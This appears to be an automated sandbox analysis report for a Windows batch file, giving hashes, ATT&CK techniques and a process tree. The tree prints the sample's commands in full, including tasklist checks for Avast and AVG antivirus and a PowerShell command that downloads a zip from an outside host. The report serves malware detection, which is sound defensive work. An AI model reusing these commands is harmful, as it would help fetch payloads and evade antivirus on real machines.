25db2614bacd5fab235fae0dcf994833603604ed37173152c47f288733fa8418

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
27-11-2024 01:54

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General

Target

27112024_0154_new.bat
Size

3KB
MD5

6fc5138d9a459120a712b12ffd55ef44
SHA1

7ecb2535e52971cdde63a30fa2699d0d31de7af4
SHA256

25db2614bacd5fab235fae0dcf994833603604ed37173152c47f288733fa8418
SHA512

bc9462054d421efe81ab605d824cafcb603906b9523dc0bc16629a5d85ad96f81e738fac07a602b5ff46653a57e9571b6e5c257de9ca615a0b7c854f7738a497

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2728	powershell.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
3020	tasklist.exe
2640	tasklist.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2728	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3020	tasklist.exe
Token: SeDebugPrivilege	2640	tasklist.exe
Token: SeDebugPrivilege	2728	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2284 wrote to memory of 3020	2284	cmd.exe	29
PID 2284 wrote to memory of 3020	2284	cmd.exe	29
PID 2284 wrote to memory of 3020	2284	cmd.exe	29
PID 2284 wrote to memory of 2444	2284	cmd.exe	30
PID 2284 wrote to memory of 2444	2284	cmd.exe	30
PID 2284 wrote to memory of 2444	2284	cmd.exe	30
PID 2284 wrote to memory of 2640	2284	cmd.exe	32
PID 2284 wrote to memory of 2640	2284	cmd.exe	32
PID 2284 wrote to memory of 2640	2284	cmd.exe	32
PID 2284 wrote to memory of 2372	2284	cmd.exe	33
PID 2284 wrote to memory of 2372	2284	cmd.exe	33
PID 2284 wrote to memory of 2372	2284	cmd.exe	33
PID 2284 wrote to memory of 2728	2284	cmd.exe	34
PID 2284 wrote to memory of 2728	2284	cmd.exe	34
PID 2284 wrote to memory of 2728	2284	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\27112024_0154_new.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2284
- C:\Windows\system32\tasklist.exe
  tasklist /FI "IMAGENAME eq AvastUI.exe"
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:3020
- C:\Windows\system32\find.exe
  find /i "AvastUI.exe"
  2⤵
  PID:2444
- C:\Windows\system32\tasklist.exe
  tasklist /FI "IMAGENAME eq avgui.exe"
  2⤵
  - Enumerates processes with tasklist
  - Suspicious use of AdjustPrivilegeToken
  PID:2640
- C:\Windows\system32\find.exe
  find /i "avgui.exe"
  2⤵
  PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kinggamminginvoicfin.cyou:8331/bab.zip' -OutFile 'C:\Users\Admin\Downloads\downloaded.zip' } catch { exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2728-4-0x000007FEF533E000-0x000007FEF533F000-memory.dmp

Filesize
4KB

Download
memory/2728-5-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/2728-6-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2728-7-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-8-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-9-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-10-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-12-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download
memory/2728-11-0x000007FEF5080000-0x000007FEF5A1D000-memory.dmp

Filesize
9.6MB

Download